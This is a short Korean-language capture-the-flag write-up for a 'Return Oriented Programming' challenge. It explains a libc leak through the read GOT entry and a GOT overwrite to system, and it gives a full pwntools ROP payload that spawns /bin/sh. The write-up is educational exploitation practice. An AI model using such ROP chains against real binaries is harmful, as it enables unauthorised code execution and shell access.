Return Oriented Programming
정말 어려워서 5번 풀어본 문제다;;
이번 문제에서는 /bin/sh
도 제공되지 않고, system함수도 사용하지않아 plt가 존재하지 않는다
system 함수를 사용하기 위해서 직접 system함수의 주소를 찾아야한다
그리고 버퍼에 /bin/sh
를 입력해서 주소를 참조하거나,
/bin/sh
가 존재하는 다른 파일에서 주소를 찾아야한다
우선 checksec을 통해 보호기법부터 확인해보자
nx enabled라서 스택에 쉘코드를 적어서 실행하는건 불가능하다
GOT에 system함수는 존재하지 않지만 read, puts, write 등 다른 함수는 존재한다
그래서 이 함수들을 이용해서 system함수의 주소를 알아낼 수 있다
GOT에 있는 read의 주소를 읽어온 다음 read 함수의 offset을 빼주면 libc의 base주소를 알 수 있게된다
그 다음 system offset을 더해준다면 GOT의 read함수는 system함수로 바뀌게 된다
이 경우 GOT의 주소를 검증없이 그대로 사용하기 때문에 read()함수를 재호출 하면 변조된 주소인 system()함수를 호출하게 된다
GOT Overwrite
read함수는 인자가 3개가 필요하므로 pop rsi, r15
도 같이 사용해준다
rdx를 포함한 가젯을 찾기가 어려우므로 r15를 사용한다고 한다
rdx는 크기를 입력받는 인자이기 때문에 이미 값이 설정되어있다면 따로 또 설정해줄 필요가 없어서 r15를 사용해도 되는 것 같다
그러면 그냥 pop rsi ; ret
를 쓰면 되는거 아니냐 라고 생각할 수 있지만 pop rsi
관련 가젯은 이거 하나뿐이라서 그런 것 같다
# write(1, read_got, ...)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(write_plt)
# read(0, read_got, ...)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)
# read("/bin/sh") == system("/bin/sh")
payload += p64(pop_rdi)
payload += p64(read_got + 0x8)
payload += p64(ret)
payload += p64(read_plt)
p.sendafter(b'Buf: ', payload)
read = u64(p.recvn(6) + b'\x00'*2)
lb = read - libc.symbols['read']
system = lb + libc.symbols['system']
p.send(p64(system) + b'/bin/sh\x00')
p.interactive()
Cheer Up!!!!! :D